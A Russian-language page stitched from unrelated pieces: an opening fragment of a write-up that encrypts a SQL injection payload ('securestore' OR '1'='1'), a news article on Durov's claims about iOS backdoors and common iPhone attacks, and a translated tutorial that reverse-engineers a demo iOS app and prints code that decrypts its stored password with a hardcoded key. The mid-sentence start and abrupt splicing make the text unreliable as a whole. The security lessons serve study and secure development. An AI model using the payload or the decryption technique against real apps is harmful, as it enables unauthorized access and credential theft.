Полученное значение совпадает со значением токена в запросе. Значит, теперь мы можем зашифровать наш SQL Injection payload и подставить его в запрос:




$ python aesencrypt.py "securestore' OR '1'='1"
R4Dc8atsDx7T5c488eIedqXpw76hcUtc/d4Euvrre/Y=


В октябре этого года в Telegram появились комментарии. Павел Дуров добавил их в официальный канал, после чего начал отвечать на некоторые вопросы аудитории. В одном из ответов он прошёлся по Apple: объявил, что ушёл с iPhone, и сказал, что iOS не такая защищённая, как кажется.

iOS переполнена бэкдорами, которые труднее обнаружить, чем на Android. Несколько лет назад я столкнулся с одним на своём iPhone и навсегда отказался от использования продукции Apple. Я не утверждаю, что Android пуленепробиваемый, я говорю, что концепция Apple как ориентированной на приватность компании — это, скорее всего, маркетинговый трюк, — написал основатель Telegram.

Apple же называет конфиденциальность данных сильнейшей стороной в iPhone. “Всё, что происходит в вашем iPhone, остаётся на вашем iPhone!” — гласит рекламный слоган компании.

Android — открытая операционная система, iOS — закрытая. На iPhone у приложений нет прав управлять другим программным обеспечением и системой. Тем не менее хакеры находят способы взламывать устройства. Называем самые распространённые способы.

Кража Apple ID хуже взлома. Вы потеряете всё

Фото © Chesnot / Getty Images

Фото © Chesnot / Getty Images

Разработчики Apple долгие годы совершенствовали операционную систему таким образом, чтобы ключевые данные пользователя были под защитой. Тем не менее хакеры находят способы взлома iOS. Заместитель руководителя лаборатории компьютерной криминалистики Group-IB Сергей Никитин говорит, что хакер может получить доступ к Apple ID. Если он это сделает, вся экосистема пользователя может быть парализована. Кроме того, злоумышленник получит доступ к банковским картам.

Самые распространённые атаки на iOS — это кража Apple ID. В этом случае злоумышленники могут заблокировать устройство и требовать выкуп за разблокировку; получить доступ к личным данным: фото, заметкам и так далее; получить доступ к другим устройствам, к которым привязан Apple ID, — объясняет эксперт.

Мошенники рассылают письма с предупреждением о скором снятии средств со счёта пользователя. Как правило, речь идёт о платной подписке на Spotify, YouTube, Netflix и подобные сервисы, реже угрожают списать деньги за покупки в PUBG.

Чтобы жертва действовала быстрее, срок списания устанавливается максимально близким — как правило, сообщение приходит за час до “снятия” денег со счёта. При этом сумма указывается внушительная, чтобы человеку было жалко её потерять из-за приложения, которым он не пользуется.

Для отказа от подписки прикрепляется ссылка на фишинговый сайт, а он выглядит точь-в-точь как официальный ресурс Apple. На нём жертва вводит логин и пароль Apple ID, а хакер получает их и авторизуется в аккаунте. В целях безопасности Никитин рекомендует использовать двухэтапную аутентификацию.

Вы не защищены от сообщения в WhatsApp

Фото © Phil Barker / Future Publishing via Getty Images

Фото © Phil Barker / Future Publishing via Getty Images

Данные с iOS можно похитить с помощью приложения, у которого есть доступ к ним. Это главный способ для вируса пробраться в ваш телефон. Самая громкая история произошла с основателем Amazon Джеффом Безосом. Его iPhone был взломан с помощью сообщения в WhatsApp от принца Саудовской Аравии Мухаммеда ибн Салмана.

Как сообщает издание The Guardian, принц отправил ему вредоносный файл. Он позволил злоумышленникам проникнуть в смартфон и получить доступ к данным.

Заразить телефон через мессенджер проще всего. Им по умолчанию предоставляется доступ к хранилищу, а файлы загружаются автоматически. Важно придерживаться двух правил: не скачивать документы от неизвестных адресатов и ограничить автоматическую загрузку файлов.

В WhatsApp это делается так: Пройдите в “Настройки” —> “Данные и хранилище” —> “Автозагрузка медиа”. Мессенджер может сам загружать четыре вида файлов: фото, видео, аудио и документы. Чтобы обезопасить себя от взлома, отключите автоматическую загрузку последних. Впрочем, в iOS 14 проблему частично решили. Теперь приложение получает доступ только к разрешённым вами файлам, а не ко всему хранилищу.

Приложения на iOS гораздо более уязвимые, чем на Android. Эксперты по кибербезопасности “Ростелеком-Solar” проверили мобильные приложения 17 сервисов по заказу еды на наличие уязвимостей. Android-версии оказались защищены от взломов гораздо лучше аналогов на iOS. В среднем приложения на Android получили 2,2 балла от экспертов из пяти возможных. Первое место поделили Black Star Burger, Pizza Hut и KFC — 4,1 балла, последнее заняло приложение McDonald’s — 1,4 балла. С iOS-версиями ситуация гораздо хуже: самый высокий балл у “Тануки” — всего 2,9 балла, а самый низкий опять у McDonald’s — 0,3 балла. У одних и тех же приложений совершенно разный уровень безопасности.

Железо тоже может быть уязвимым

Фото © Zhang Canlong / VCG via Getty Images

Фото © Zhang Canlong / VCG via Getty Images

По словам Сергея Никитина из Group-IB, iPhone X и более старые имеют аппаратную уязвимость в процессоре, из-за чего при физическом доступе к смартфону возможны варианты по его компрометации. Эту проблему не решить программно, можно лишь перейти на более позднюю модель (XS, XR и новее).

Проблема касается не только айфонов. В 2020 году Apple объявила о постепенном отказе от чипов Intel в компьютерах Mac. Одна из причин — уязвимости Spectre и Meltdown, из-за которых все компьютеры с этими процессорами оказались под угрозой взлома. Проблема в том, что эти дыры не всегда можно устранить программно, спасёт только обновление устройства.

И эти дыры продолжают появляться. Недавно издание ZDNet сообщило о новой неустранимой уязвимости. По его словам, появилась новая методика взлома вспомогательного сопроцессора T2. Она позволяет получить пароли, отпечатки пальцев и ключи шифрования. Атака состоит из объединения двух джейлбрейков для iOS –– Checkm8 и Blackbird. Как оказалось, они применимы и для T2. Подключение по USB-C во время загрузки Mac и запуск эксплойта может дать возможность выполнить код внутри чипа T2 и получить в нём root-права.

На данный момент уязвимость не может быть устранена. Рано или поздно Apple найдёт решение, но пока лучше не оставлять без присмотра устройства компании с конфиденциальной информацией.

  • Названа дата второй осенней презентации Apple. Возможно, покажут iPhone 12

    6 октября 2020, 16:17

  • Дешёвые и недолговечные. Есть ли надёжные телевизоры среди бюджетных моделей

    4 октября 2020, 21:40

  • Google TV в вашем телевизоре будет советовать вам, что посмотреть

    4 октября 2020, 12:00

Android стал менее уязвимым

В начале 2010-х годов Android был посмешищем — из-за обилия лагов, неэстетичного дизайна и большого количества уязвимостей. Спустя десять лет операционная система стала в разы надёжнее, и на её фоне защита Apple уже не смотрится таким чудом разработки.

Фото © Alexander Pohl / NurPhoto via Getty Images

Фото © Alexander Pohl / NurPhoto via Getty Images

iOS изначально проектировалась таким образом, чтобы критически важные функции устройства не были доступны рядовым приложениям. В Android же они были доступны с первых версий любым приложениям — достаточно было запросить разрешение. Например, отправка СМС или совершение звонков: в iOS эти операции доступны только фирменным приложениям Apple, — рассказал Лайфу исследователь мобильных угроз в Лаборатории Касперского Виктор Чебышев.

По его словам, лучшим способом защиты данных стал контроль доступа приложений к другому софту. Они не смогут управлять другими программами или анализировать хранилище, пока вы это не разрешите. Кроме того, в Play Market ужесточились правила — теперь разработчики смотрят, к чему приложения запрашивают доступ. Условному фонарику не нужны хранилище и звонки, поэтому магазин просто запрещает их использовать.

Такая схема зарекомендовала себя чрезвычайно эффективной и безопасной. Теперь в Android нельзя почти ничего без явного согласия пользователя. Таким образом, обе системы — и Android и iOS — сегодня являются крайне сложными для взлома. Разница с точки зрения безопасности лишь в том, что приложения на Android всё ещё можно легко установить из сторонних источников, в iOS такой возможности нет, если говорить про массовые установки (более 100 устройств), конечно, если устройство не подвергалось джейлбрейку, — заключает Виктор Чебышев.

И это основная проблема iOS. Она не деградирует, а не развивается. Шаг за шагом Android прогрессирует и приближается или обгоняет iOS по разным параметрам. Дуров прав в том, что система Android более перспективна и потенциально обгонит iOS по надёжности в обозримом будущем, если Apple не начнёт прогрессировать.

Безопасность IOS-приложений (часть 29) – Поиск и использование уязвимостей в алгоритмах шифрования

В этой статье мы рассмотрим уязвимости в алгоритмах шифрования, которые присущи многим IOS-приложениям. Суть этого класса брешей связана с некорректной реализаций алгоритмов шифрования информации на устройстве, позволяющей злоумышленнику получить доступ к этой информации. Существует множество причин возникновения подобных уязвимостей: жестко запрограммированные ключи шифрования, плохие алгоритмы и так далее.

Автор: Пратик Джианчандани (Prateek Gianchandani)

В этой статье мы рассмотрим уязвимости в алгоритмах шифрования, которые присущи многим IOS-приложениям. Суть этого класса брешей связана с некорректной реализаций алгоритмов шифрования информации на устройстве, позволяющей злоумышленнику получить доступ к этой информации. Существует множество причин возникновения подобных уязвимостей: жестко запрограммированные ключи шифрования, плохие алгоритмы и так далее.

Рекомендую вам ознакомиться с документацией Apple, где рассматриваются вопросы шифрования и хеширования данных.

В этой статье мы рассмотрим способы обнаружения и взлома небезопасных техник шифрования на примере приложения InsecureCryptography-Demo, которое вы можете скачать с моего аккаунта на Github. Загрузите приложение и запустите его в симуляторе или на устройстве. При первом запуске программа попросит вас ввести новый пароль.

Рисунок 1: Первый запуск тестового приложения

Как только пароль установлен, приложение попросит вас ввести его заново, чтобы пройти процесс авторизации.

Рисунок 2: Повторный запрос пароля для прохождения аутентификации

Наша задача: обойти эту проверку. Очевидно, что пароль хранится локально на устройстве, поскольку у приложения отсутствует сетевая активность. Вы можете воспользоваться утилитами наподобие Burpsuite, чтобы удостовериться в отсутствии сетевого трафика.

Далее открываем Hopper (более подробно об этой утилите я рассказывал в предыдущей статье) и переходим в File->Read Executable to Disassemble.

Рисунок 3: Выбираем файл, который будем дизассемблировать

Если вы уже запустили приложение в Xcode, то оно успешно установилось в симуляторе IOS. Наша задача – найти местонахождение исполняемого файла приложения, который мы будем дизассемблировать в Hopper. Папка с приложением находится в /Users/$username/Library/Application Support/iPhone Simulator/$ios version of simulator/Applications/. В моем случае это директория /Users/Prateek/Library/Application Support/iPhone Simulator 7.0.3/Applications/. Зайдите в эту папку и введите команду ls –al, которая выведет директории с датой их последней модификации. Папка с самой крайней датой – это папка нашего приложения.

Рисунок 4: Находим директорию с приложением

Откройте эту директорию в приложении Finder при помощи команды open $directoryName, а затем кликните правой кнопкой мыши на файле с расширением .app (это пакет приложения) и выберите Show Package Contents.

Рисунок 5: Смотрим содержимое пакета приложения

Найденный исполняемый файл отдаем в Hopper на дизассемблирование.

Рисунок 6: Исполняемый файл приложения

Как только Hopper завершит процесс, вы увидите примерно следующее:

Рисунок 7: Результат дизассемблирования исполняемого файла

В левой части экрана виден перечень классов (один из них RNEncryptor). Скорее всего, RNEncryptor используется для шифрования информации.

Рисунок 8: Перечень классов, методов и констант приложения

По результатам поиска в Гугле выяснилось, что класс RNEncryptor с открытым исходным кодом и используется для шифрования информации. Нам нужно найти метод, отвечающий за процесс аутентификации. Проверка введенного пароля осуществляется при нажатии на кнопку return в текстовом поле.

Рисунок 9: Процесс ввода пароля

Если вы хотя бы немного знакомы с разработкой IOS-приложений, то знаете, что если текущий контроллер – делегат этого текстового поля, то имя вызываемого метода будет (BOOL)textFieldShouldReturn:(UITextField *)textField. Находим этот метод в секции labels (в Hopper) и смотрим дизассемблированную его версию.

Рисунок 10: Дизассемблированная версия метода textFieldShouldReturn

Как вы помните, в Hopper есть прекрасная возможность просматривать псевдокод методов. Кликаем на иконку Pseudo Code в правом верхнем углу.

Рисунок 11: Псевдокод метода textFieldShouldReturn

Далее приводится полная версия псевдокода метода textFieldShouldReturn:

function methImpl_ViewController_textFieldShouldReturn_ {

var_372 = arg_0;

var_368 = arg_4;

var_364 = 0x0;

_PIC_register_ = eax;

objc_storeStrong(&var_364, arg_8);

var_312 = 0x9;

var_308 = 0x1;

eax = NSSearchPathForDirectoriesInDomains(0x9, 0x1, 0x1);

eax = [eax retain];

var_304 = 0x0;

var_300 = eax;

eax = [eax objectAtIndex:0x0];

eax = [eax retain];

var_296 = eax;

eax = [eax stringByAppendingPathComponent:@"/secret-data"];

eax = [eax retain];

var_360 = eax;

[var_296 release];

[var_300 release];

var_292 = var_364;

eax = [var_372 passwordTextField];

eax = [eax retain];

var_288 = eax;

[eax release];

if (var_292 != var_288) goto loc_4fab;

goto loc_4b74;

loc_4fab:

var_172 = var_364;

eax = [var_372 returningUserTextField];

eax = [eax retain];

var_168 = eax;

[eax release];

if (var_172 != var_168) goto loc_53a5;

goto loc_4ff8;

loc_53a5:

var_379 = 0x0;

var_356 = 0x1;

loc_53b0:

var_104 = 0x0;

objc_storeStrong(&var_360, 0x0);

var_100 = 0x0;

objc_storeStrong(&var_364, 0x0);

eax = SIGN_EXTEND(var_379);

return eax;

loc_4ff8:

eax = [var_372 returningUserTextField];

eax = [eax retain];

var_164 = eax;

eax = [eax text];

eax = [eax retain];

var_160 = 0x4;

var_156 = eax;

eax = [eax dataUsingEncoding:0x4];

eax = [eax retain];

var_336 = eax;

[var_156 release];

[var_164 release];

var_332 = 0x0;

eax = [NSData dataWithContentsOfFile:var_360];

eax = [eax retain];

var_328 = eax;

var_320 = var_332;

eax = [RNDecryptor decryptData:var_328 withPassword:@"Secret-Key" error:&var_320];

eax = [eax retain];

var_152 = eax;

objc_storeStrong(&var_332, var_320);

var_324 = var_152;

eax = [var_336 isEqualToData:var_324];

if (eax != 0x0) {

eax = [var_372 loggedInLabel];

eax = [eax retain];

var_148 = 0x0;

var_144 = eax;

[eax setHidden:0x0];

[var_144 release];

eax = [var_372 returningUserTextField];

eax = [eax retain];

var_140 = 0x1;

var_136 = eax;

[eax setHidden:0x1];

[var_136 release];

eax = [var_372 returningUserLabel];

eax = [eax retain];

var_132 = 0x1;

var_128 = eax;

[eax setHidden:0x1];

[var_128 release];

var_356 = 0x0;

}

else {

var_124 = @"OK";

var_120 = @"Oops";

var_116 = @"Password is incorrect";

var_112 = 0x0;

eax = [UIAlertView alloc];

eax = [eax initWithTitle:var_120 message:var_116 delegate:0x0 cancelButtonTitle:var_124 otherButtonTitles:0x0];

var_108 = eax;

[eax show];

[var_108 release];

var_379 = 0x0;

var_356 = 0x1;

}

ecx = esp;

*ecx = &var_324;

*(ecx + 0x4) = 0x0;

objc_storeStrong();

ecx = esp;

*ecx = &var_328;

*(ecx + 0x4) = 0x0;

objc_storeStrong();

ecx = esp;

*ecx = &var_332;

*(ecx + 0x4) = 0x0;

objc_storeStrong();

ecx = esp;

*ecx = &var_336;

*(ecx + 0x4) = 0x0;

objc_storeStrong();

if (var_356 != 0x0) goto loc_53b0;

goto loc_53a5;

loc_4b74:

eax = [var_364 resignFirstResponder];

var_287 = eax;

eax = [var_364 text];

eax = [eax retain];

var_280 = eax;

eax = [eax length];

var_276 = eax;

[var_280 release];

if (var_276 != 0x0) goto loc_4c9b;

goto loc_4be5;

loc_4c9b:

eax = [var_372 passwordTextField];

eax = [eax retain];

var_252 = eax;

eax = [eax text];

eax = [eax retain];

var_248 = 0x4;

var_244 = eax;

eax = [eax dataUsingEncoding:0x4];

eax = [eax retain];

var_352 = eax;

[var_244 release];

[var_252 release];

var_348 = 0x0;

var_340 = var_348;

edi = esp;

var_240 = 0x12;

var_236 = _kRNCryptorAES256Settings;

var_232 = *0x158b0;

var_228 = edi;

var_224 = *0x157bc;

*(edi + 0xc) = *var_236;

esi = var_228;

*(esi + 0x58) = &var_340;

*(esi + 0x54) = @"Secret-Key";

*(esi + 0x8) = var_352;

*(esi + 0x4) = var_224;

*esi = var_232;

eax = objc_msgSend();

eax = [eax retain];

var_220 = eax;

objc_storeStrong(&var_348, var_340);

var_344 = var_220;

var_216 = 0x1;

eax = [var_344 writeToFile:var_360 atomically:0x1];

var_215 = eax;

eax = [NSUserDefaults standardUserDefaults];

eax = [eax retain];

var_208 = eax;

var_204 = 0x1;

[eax setBool:0x1 forKey:@"loggedIn"];

[var_208 release];

eax = [NSUserDefaults standardUserDefaults];

eax = [eax retain];

var_200 = eax;

eax = [eax synchronize];

var_199 = eax;

[var_200 release];

eax = [var_372 firstUserView];

eax = [eax retain];

var_192 = 0x1;

var_188 = eax;

[eax setHidden:0x1];

[var_188 release];

var_184 = 0x0;

objc_storeStrong(&var_344, 0x0);

var_180 = 0x0;

objc_storeStrong(&var_348, 0x0);

var_176 = 0x0;

objc_storeStrong(&var_352, 0x0);

goto loc_53a5;

loc_4be5:

var_272 = @"OK";

var_268 = @"Oops";

var_264 = @"Please enter a password";

var_260 = 0x0;

eax = [UIAlertView alloc];

eax = [eax initWithTitle:var_268 message:var_264 delegate:0x0 

cancelButtonTitle:var_272 otherButtonTitles:0x0]; 

var_256 = eax;

[eax show];

[var_256 release];

var_379 = 0x0;

var_356 = 0x1;

goto loc_53b0;

}

Вот некоторые участки псевдокода:

eax = [eax text];

eax = [eax retain];

var_160 = 0x4;

var_156 = eax;

eax = [eax dataUsingEncoding:0x4];

Введенный текст конвертируется в NSData при помощи метода dataUsingEncoding.

eax = NSSearchPathForDirectoriesInDomains(0x9, 0x1, 0x1);

eax = [eax retain];

var_300 = eax;

eax = [eax objectAtIndex:0x0];

eax = [eax retain];

var_296 = eax;

eax = [eax stringByAppendingPathComponent:@"/secret-data"];

В алгоритме используется файл с именем secret-data. Далее видим следующее выражение:

eax = [var_344 writeToFile:var_360 atomically:0x1];

Кажется, происходит запись в файл secret-data.

var_332 = 0x0;

eax = [NSData dataWithContentsOfFile:var_360];

eax = [eax retain];

var_328 = eax;

eax = [RNDecryptor decryptData:var_328 withPassword:@"Secret-Key" error:&var_320];

Считывается и расшифровывается содержимое файла при помощи пароля.

eax = [RNDecryptor decryptData:var_328 withPassword:@"Secret-Key" error:&var_320];

Ключ для шифровки и дешифровки жестко запрограммирован в коде (строка Secret-Key).

eax = [var_336 isEqualToData:var_324];

Происходит сравнение данных. Результирующее булево значение сохраняется в регистре eax.

if (eax != 0x0) {

eax = [var_372 loggedInLabel];

eax = [eax retain];

var_148 = 0x0;

var_144 = eax;

[eax setHidden:0x0];

[var_144 release];

eax = [var_372 returningUserTextField];

eax = [eax retain];

var_140 = 0x1;

var_136 = eax;

[eax setHidden:0x1];

[var_136 release];

eax = [var_372 returningUserLabel];

eax = [eax retain];

var_132 = 0x1;

var_128 = eax;

[eax setHidden:0x1];

[var_128 release];

var_356 = 0x0;

}

else {

var_124 = @"OK";

var_120 = @"Oops";

var_116 = @"Password is incorrect";

var_112 = 0x0;

eax = [UIAlertView alloc];

eax = [eax initWithTitle:var_120 message:var_116 delegate:0x0 cancelButtonTitle:var_124 otherButtonTitles:0x0];

var_108 = eax;

[eax show];

[var_108 release];

var_379 = 0x0;

var_356 = 0x1;

}

В зависимости от значения, находящегося в регистре eax, выполнение алгоритма идет по соответствующей ветке. Если значение – 0, пользователю показывается сообщение о том, что пароль неверный. Иначе – процесс авторизации успешно завершается.

Давайте поищем файл secret-data в песочнице, где выполняется приложение. Довольно быстро выясняется, что файл находится в папке Documents. Открыв файл, мы видим, что содержимое зашифровано.

Рисунок 12: Содержимое файла secret-data

Как уже было сказано выше, классы RNEncryptor и RNDecryptor – часть библиотеки с открытым исходным кодом, который можно найти здесь.

Обобщаем всю найденную информацию:

  • Когда пользователь вводит пароль, текст конвертируется в NSData при помощи метода dataUsingEncoding с параметром 0×4. Параметр 0×4 соответствует NSUTF8StringEncoding.
  • Информация считывается из секретного файла и дешифруется при помощи жестко закодированного ключа.
  • Два значения сравниваются между собой. Если значения совпадают, процесс авторизации успешно завершается.

Совершенно очевидно, что мы можем узнать пароль, если расшифруем информацию из файла secret-data и сконвертируем его в строку формата NSUTF8StringEncoding. Давайте напишем простейшее приложение для дешифровки информации. Для этого вам нужно скопировать файл secret-data из песочницы в папку Documents песочницы нового приложения. Полную версию кода можно загрузить отсюда.

Добавляем этот метод в новый проект.

NSString *dataPath = [[NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,

NSUserDomainMask, YES) objectAtIndex:0]

stringByAppendingPathComponent:@"/secret-data"];

NSError *error;

NSData *encryptedData = [NSData dataWithContentsOfFile:dataPath];

NSData *decryptedData = [RNDecryptor decryptData:encryptedData

withPassword:@"Secret-Key"

error:&error];

NSString *password = [[NSString alloc] initWithData:decryptedData

encoding:NSUTF8StringEncoding];

UILabel *newLabel = [[UILabel alloc] initWithFrame:CGRectMake(140.0, 160.0, 100.0, 100.0)];

[self.view addSubview:newLabel];

[newLabel setText:password];

Как вы уже догадались, метод расшифровывает данные при помощи жестко прописанного пароля и записывается значение в метку, которая отображается на экране.

После запуска приложения, появляется расшифрованный пароль.

Рисунок 13: Расшифрованный пароль

Заключение

В этой статье мы рассмотрели метод нахождения и эксплуатации уязвимости в алгоритме шифрования конфиденциальной информации. В данном случае уязвимость заключалась в жестко прописанном ключе. Разработчикам следует обращать особое внимание на стойкость алгоритмов шифрования, которые используются в приложениях, чтобы предотвратить кражу секретной информации.

В следующей статье мы рассмотрим методы инъекций на стороне клиента (Client Side Injection) в IOS-приложениях. 

Добавить комментарий